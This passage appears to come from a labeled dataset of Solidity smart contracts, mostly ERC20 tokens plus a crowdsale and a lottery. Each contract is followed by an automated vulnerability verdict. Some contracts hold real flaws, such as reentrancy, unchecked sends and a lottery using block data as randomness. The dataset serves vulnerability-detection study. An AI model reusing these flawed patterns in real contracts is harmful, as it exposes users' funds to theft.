ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | These are the vulnerabilities found
1) locked-ether with Medium impact |
pragma solidity ^0.4.23;
interface token { function transfer(address receiver, uint amount);
}
contract WICCrowdsale {
address public beneficiary;
uint public fundingGoal;
uint public amountRaised;
uint public deadline;
uint public price;
token public tokenReward;
mapping(address => uint256) public balanceOf;
bool fundingGoalReached = false;
bool crowdsaleClosed = false;
event GoalReached(address recipient, uint totalAmountRaised);
event FundTransfer(address backer, uint amount, bool isContribution);
function WICCrowdsale(
address ifSuccessfulSendTo,
uint fundingGoalInEthers,
uint durationInMinutes,
uint etherCostOfEachToken,
address addressOfTokenUsedAsReward
) {
beneficiary = ifSuccessfulSendTo;
fundingGoal = fundingGoalInEthers * 1 ether;
deadline = now + durationInMinutes * 1 minutes;
price = etherCostOfEachToken * 1 ether;
tokenReward = token(addressOfTokenUsedAsReward);
}
function () payable {
require(!crowdsaleClosed);
uint amount = msg.value;
balanceOf[msg.sender] += amount;
amountRaised += amount;
tokenReward.transfer(msg.sender, amount / price);
beneficiary.send(amountRaised);
amountRaised = 0;
FundTransfer(msg.sender, amount, true);
}
modifier afterDeadline() {
if (now >= deadline) _;
}
function checkGoalReached() afterDeadline {
if (amountRaised >= fundingGoal){
fundingGoalReached = true;
GoalReached(beneficiary, amountRaised);
}
crowdsaleClosed = true;
}
function safeWithdrawal() afterDeadline {
if (!fundingGoalReached) {
uint amount = balanceOf[msg.sender];
balanceOf[msg.sender] = 0;
if (amount > 0) {
if (msg.sender.send(amount)) {
FundTransfer(msg.sender, amount, false);
}
else {
balanceOf[msg.sender] = amount;
}
}
}
if (fundingGoalReached && beneficiary == msg.sender) {
if (beneficiary.send(amountRaised)) {
FundTransfer(beneficiary, amountRaised, false);
}
else {
fundingGoalReached = false;
}
}
}
} | These are the vulnerabilities found
1) reentrancy-eth with High impact
2) unchecked-send with Medium impact
3) erc20-interface with Medium impact |
pragma solidity ^0.4.20;
contract Lottery{
/*=================================
= MODIFIERS =
=================================*/
// Only owner allowed.
modifier onlyOwner()
{
require(msg.sender == owner);
_;
}
// The tokens can never be stolen.
modifier notPooh(address aContract)
{
require(aContract != address(poohContract));
_;
}
modifier isOpenToPublic()
{
require(openToPublic);
_;
}
/*==============================
= EVENTS =
==============================*/
event Deposit(
uint256 amount,
address depositer
);
event WinnerPaid(
uint256 amount,
address winner
);
/*=====================================
= CONFIGURABLES =
=====================================*/
POOH poohContract; //a reference to the POOH contract
address owner;
bool openToPublic = false; //Is this lottery open for public use
uint256 ticketNumber = 0; //Starting ticket number
uint256 winningNumber; //The randomly generated winning ticket
/*=======================================
= PUBLIC FUNCTIONS =
=======================================*/
constructor() public
{
poohContract = POOH(0x4C29d75cc423E8Adaa3839892feb66977e295829);
openToPublic = false;
owner = msg.sender;
}
/* Fallback function allows anyone to send money for the cost of gas which
goes into the pool. Used by withdraw/dividend payouts.*/
function() payable public { }
function deposit()
isOpenToPublic()
payable public
{
//You have to send more than 0.01 ETH
require(msg.value >= 10000000000000000);
address customerAddress = msg.sender;
//Use deposit to purchase POOH tokens
poohContract.buy.value(msg.value)(customerAddress);
emit Deposit(msg.value, msg.sender);
//if entry more than 0.01 ETH
if(msg.value > 10000000000000000)
{
uint extraTickets = SafeMath.div(msg.value, 10000000000000000); //each additional entry is 0.01 ETH
//Compute how many positions they get by how many POOH they transferred in.
ticketNumber += extraTickets;
}
//if when we have a winner...
if(ticketNumber >= winningNumber)
{
//sell all tokens and cash out earned dividends
poohContract.exit();
//lotteryFee
payDev(owner);
//payout winner
payWinner(customerAddress);
//rinse and repea
resetLottery();
}
else
{
ticketNumber++;
}
}
//Number of POOH tokens currently in the Lottery pool
function myTokens() public view returns(uint256)
{
return poohContract.myTokens();
}
//Lottery's divs
function myDividends() public view returns(uint256)
{
return poohContract.myDividends(true);
}
//Lottery's ETH balance
function ethBalance() public view returns (uint256)
{
return address(this).balance;
}
/*======================================
= OWNER ONLY FUNCTIONS =
======================================*/
//give the people access to play
function openToThePublic()
onlyOwner()
public
{
openToPublic = true;
resetLottery();
}
//If this doesn't work as expected, cash out and send to owner to disperse ETH back to players
function emergencyStop()
onlyOwner()
public
{
// cash out token pool and send to owner to distribute back to players
poohContract.exit();
uint balance = address(this).balance;
owner.transfer(balance);
//make lottery closed to public
openToPublic = false;
}
/* A trap door for when someone sends tokens other than the intended ones so the overseers
can decide where to send them. (credit: Doublr Contract) */
function returnAnyERC20Token(address tokenAddress, address tokenOwner, uint tokens)
public
onlyOwner()
notPooh(tokenAddress)
returns (bool success)
{
return ERC20Interface(tokenAddress).transfer(tokenOwner, tokens);
}
/*======================================
= INTERNAL FUNCTIONS =
======================================*/
//pay winner
function payWinner(address winner) internal
{
uint balance = address(this).balance;
winner.transfer(balance);
emit WinnerPaid(balance, winner);
}
//donate to dev
function payDev(address dev) internal
{
uint balance = SafeMath.div(address(this).balance, 10);
dev.transfer(balance);
}
function resetLottery() public
onlyOwner()
{
ticketNumber = 1;
winningNumber = uint256(keccak256(block.timestamp, block.difficulty))%300;
}
}
//Need to ensure this contract can send tokens to people
contract ERC20Interface
{
function transfer(address to, uint256 tokens) public returns (bool success);
}
//Need to ensure the Lottery contract knows what a POOH token is
contract POOH
{
function buy(address) public payable returns(uint256);
function exit() public;
function myTokens() public view returns(uint256);
function myDividends(bool) public view returns(uint256);
}
library SafeMath {
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256)
{
uint256 c = a / b;
return c;
}
} | These are the vulnerabilities found
1) reentrancy-eth with High impact
2) weak-prng with High impact
3) unused-return with Medium impact
4) arbitrary-send with High impact |
pragma solidity 0.7.0;
// SPDX-License-Identifier: MIT
contract Owned {
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
address owner;
address newOwner;
function changeOwner(address payable _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
if (msg.sender == newOwner) {
owner = newOwner;
}
}
}
contract ERC20 {
string public symbol;
string public name;
uint8 public decimals;
uint256 public totalSupply;
mapping (address=>uint256) balances;
mapping (address=>mapping (address=>uint256)) allowed;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
function balanceOf(address _owner) view public returns (uint256 balance) {return balances[_owner];}
function transfer(address _to, uint256 _amount) public returns (bool success) {
require (balances[msg.sender]>=_amount&&_amount>0&&balances[_to]+_amount>balances[_to]);
balances[msg.sender]-=_amount;
balances[_to]+=_amount;
emit Transfer(msg.sender,_to,_amount);
return true;
}
function transferFrom(address _from,address _to,uint256 _amount) public returns (bool success) {
require (balances[_from]>=_amount&&allowed[_from][msg.sender]>=_amount&&_amount>0&&balances[_to]+_amount>balances[_to]);
balances[_from]-=_amount;
allowed[_from][msg.sender]-=_amount;
balances[_to]+=_amount;
emit Transfer(_from, _to, _amount);
return true;
}
function approve(address _spender, uint256 _amount) public returns (bool success) {
allowed[msg.sender][_spender]=_amount;
emit Approval(msg.sender, _spender, _amount);
return true;
}
function allowance(address _owner, address _spender) view public returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract KALYCOIN is Owned,ERC20{
uint256 public maxSupply;
constructor(address _owner) {
symbol = "KLC";
name = "KALYCOIN";
decimals = 6; // 6 Decimals
totalSupply = 7000000000e6; // 7,000,000,000 KLC and 6 Decimals
maxSupply = 7000000000e6; // 7,000,000,000 KLC and 6 Decimals
owner = _owner;
balances[owner] = totalSupply;
}
receive() external payable {
revert();
}
} | These are the vulnerabilities found
1) locked-ether with Medium impact |
pragma solidity ^0.7.0;
contract Owned {
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
address owner;
address newOwner;
function changeOwner(address payable _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
if (msg.sender == newOwner) {
owner = newOwner;
}
}
}
contract ERC20 {
string public symbol;
string public name;
uint8 public decimals;
uint256 public totalSupply;
mapping (address=>uint256) balances;
mapping (address=>mapping (address=>uint256)) allowed;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
function balanceOf(address _owner) view public returns (uint256 balance) {return balances[_owner];}
function transfer(address _to, uint256 _amount) public returns (bool success) {
require (balances[msg.sender]>=_amount&&_amount>0&&balances[_to]+_amount>balances[_to]);
balances[msg.sender]-=_amount;
balances[_to]+=_amount;
emit Transfer(msg.sender,_to,_amount);
return true;
}
function transferFrom(address _from,address _to,uint256 _amount) public returns (bool success) {
require (balances[_from]>=_amount&&allowed[_from][msg.sender]>=_amount&&_amount>0&&balances[_to]+_amount>balances[_to]);
balances[_from]-=_amount;
allowed[_from][msg.sender]-=_amount;
balances[_to]+=_amount;
emit Transfer(_from, _to, _amount);
return true;
}
function approve(address _spender, uint256 _amount) public returns (bool success) {
allowed[msg.sender][_spender]=_amount;
emit Approval(msg.sender, _spender, _amount);
return true;
}
function allowance(address _owner, address _spender) view public returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract SushiSwap is Owned,ERC20{
uint256 public maxSupply;
constructor(address _owner) {
symbol = "SUSHIB";
name = "Sushi Swap v2.0";
decimals = 18; // 18 Decimals are Best for Liquidity
totalSupply = 30000*10**uint256(decimals);
maxSupply = 30000*10**uint256(decimals);
owner = _owner;
balances[owner] = totalSupply;
}
receive() external payable {
revert();
}
} | These are the vulnerabilities found
1) locked-ether with Medium impact |
/**
*Submitted for verification at Etherscan.io on 2021-11-19
*/
pragma solidity 0.6.6;
// ----------------------------------------------------------------------------
//'NO WAR PLEASE' token contract
//
// Deployed to : 0x74C7CBcAC0bb14B1Ed0f0DAd4c5aa9DF1b3C21b3
// Symbol : NWP
// Name : NoWarPlease
// Total supply: 1999999000000000000000000
// Decimals : 18
//
// Enjoy.
//
// (c) by Ahiwe Onyebuchi Valentine.
// ----------------------------------------------------------------------------
// ----------------------------------------------------------------------------
// Safe maths
// ----------------------------------------------------------------------------
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// ----------------------------------------------------------------------------
abstract contract ERC20Interface {
function totalSupply() virtual public view returns (uint);
function balanceOf(address tokenOwner) virtual public view returns (uint balance);
function allowance(address tokenOwner, address spender) virtual public view returns (uint remaining);
function transfer(address to, uint tokens) virtual public returns (bool success);
function approve(address spender, uint tokens) virtual public returns (bool success);
function transferFrom(address from, address to, uint tokens) virtual public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Contract function to receive approval and execute function in one call
//
// Borrowed from MiniMeToken
// ----------------------------------------------------------------------------
abstract contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes memory data) virtual public;
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ----------------------------------------------------------------------------
contract NoWarPlease is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
constructor() public {
symbol = "NWP";
name = "NoWarPlease";
decimals = 18;
_totalSupply = 1999999000000000000000000;
balances[0x74C7CBcAC0bb14B1Ed0f0DAd4c5aa9DF1b3C21b3] = 299999850000000000000000;
emit Transfer(address(0), 0x74C7CBcAC0bb14B1Ed0f0DAd4c5aa9DF1b3C21b3, 299999850000000000000000);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public override view returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account tokenOwner
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public override view returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to to account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public override returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public override returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer tokens from the from account to the to account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the from account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public override returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public override view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account. The spender contract function
// receiveApproval(...) is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes memory data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, address(this), data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
// function () external payable {
// revert();
// }
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | No vulnerabilities found |
pragma solidity ^0.4.24;
// ----------------------------------------------------------------------------
// Sample token contract
//
// Symbol : JESUS
// Name : JESUS CHRIST
// Total supply : 1000000000000000
// Decimals : 8
// Owner Account : 0xEb9E388C577921dA71ed76BC1E2D154cCc910FFd
//
// Enjoy.
//
// (c) by Idea Inven Doohee 2021. DM Licence.
// ----------------------------------------------------------------------------
// ----------------------------------------------------------------------------
// Lib: Safe Math
// ----------------------------------------------------------------------------
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
/**
ERC Token Standard #20 Interface
https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
*/
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
/**
Contract function to receive approval and execute function in one call
Borrowed from MiniMeToken
*/
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
/**
ERC20 Token, with the addition of symbol, name and decimals and assisted token transfers
*/
contract INVENToken is ERC20Interface, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
constructor() public {
symbol = "JESUS";
name = "JESUS CHRIST";
decimals = 8;
_totalSupply = 1000000000000000;
balances[0xEb9E388C577921dA71ed76BC1E2D154cCc910FFd] = _totalSupply;
emit Transfer(address(0), 0xEb9E388C577921dA71ed76BC1E2D154cCc910FFd, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account tokenOwner
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to to account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
//
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer tokens from the from account to the to account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the from account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account. The spender contract function
// receiveApproval(...) is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
} | These are the vulnerabilities found
1) locked-ether with Medium impact |
pragma solidity ^0.4.18;
contract WETHER {
string public name = "Wrapped Eths";
string public symbol = "WETHS";
uint8 public decimals = 18;
event Approval(address indexed src, address indexed guy, uint wad);
event Transfer(address indexed src, address indexed dst, uint wad);
event Deposit(address indexed dst, uint wad);
event Withdrawal(address indexed src, uint wad);
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
function() public payable {
deposit();
}
function deposit() public payable {
balanceOf[msg.sender] += msg.value;
Deposit(msg.sender, msg.value);
}
function withdraw(uint wad) public {
require(balanceOf[msg.sender] >= wad);
balanceOf[msg.sender] -= wad;
msg.sender.transfer(wad);
Withdrawal(msg.sender, wad);
}
function totalSupply() public view returns (uint) {
return this.balance;
}
function approve(address guy, uint wad) public returns (bool) {
allowance[msg.sender][guy] = wad;
Approval(msg.sender, guy, wad);
return true;
}
function transfer(address dst, uint wad) public returns (bool) {
return transferFrom(msg.sender, dst, wad);
}
function transferFrom(address src, address dst, uint wad)
public
returns (bool)
{
require(balanceOf[src] >= wad);
if (src != msg.sender && allowance[src][msg.sender] != uint(-1)) {
require(allowance[src][msg.sender] >= wad);
allowance[src][msg.sender] -= wad;
}
balanceOf[src] -= wad;
balanceOf[dst] += wad;
Transfer(src, dst, wad);
return true;
}
} | No vulnerabilities found |
pragma solidity ^0.4.18;
// ----------------------------------------------------------------------------
// 'EstateX' token contract
//
// Deployed to : 0xB1EB57D210eeA630b0Ba9654a2e85f1B4774E44D
// Symbol : RHX
// Name : Rhinex
// Total supply: 200000000000000
// Decimals : 18
//
// Enjoy.
// Coding by Jarmo van de Seijp
// ----------------------------------------------------------------------------
// ----------------------------------------------------------------------------
// Safe maths
// ----------------------------------------------------------------------------
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Contract function to receive approval and execute function in one call
//
// Borrowed from MiniMeToken
// ----------------------------------------------------------------------------
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ----------------------------------------------------------------------------
contract Rhinex is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
function Rhinex() public {
symbol = "RHX";
name = "Rhinex";
decimals = 18;
_totalSupply = 200000000000000000000000000;
balances[0xB1EB57D210eeA630b0Ba9654a2e85f1B4774E44D] = _totalSupply;
emit Transfer(address(0), 0xB1EB57D210eeA630b0Ba9654a2e85f1B4774E44D, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account tokenOwner
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to to account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer tokens from the from account to the to account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the from account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account. The spender contract function
// receiveApproval(...) is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | These are the vulnerabilities found
1) locked-ether with Medium impact |
pragma solidity ^0.4.24;
// ----------------------------------------------------------------------------
// 'Ether Digital Finance' token contract
//
// Deployed to : 0x9b95661a5d1083DB9C8763f7FF77c99Ee10Ef0D2
// Symbol : EDF
// Name : Ether Digital Finance
// Total supply: 200,000,000
// Decimals : 18
//
//
//
//
//
// ----------------------------------------------------------------------------
// ----------------------------------------------------------------------------
// Safe maths
// ----------------------------------------------------------------------------
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Contract function to receive approval and execute function in one call
//
// Borrowed from MiniMeToken
// ----------------------------------------------------------------------------
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ----------------------------------------------------------------------------
contract EtherDigitalFinance is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
constructor() public {
symbol = "EDF";
name = "Ether Digital Finance";
decimals = 18;
_totalSupply = 200000000000000000000000000;
balances[0x9b95661a5d1083DB9C8763f7FF77c99Ee10Ef0D2] = _totalSupply;
emit Transfer(address(0), 0x9b95661a5d1083DB9C8763f7FF77c99Ee10Ef0D2, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account tokenOwner
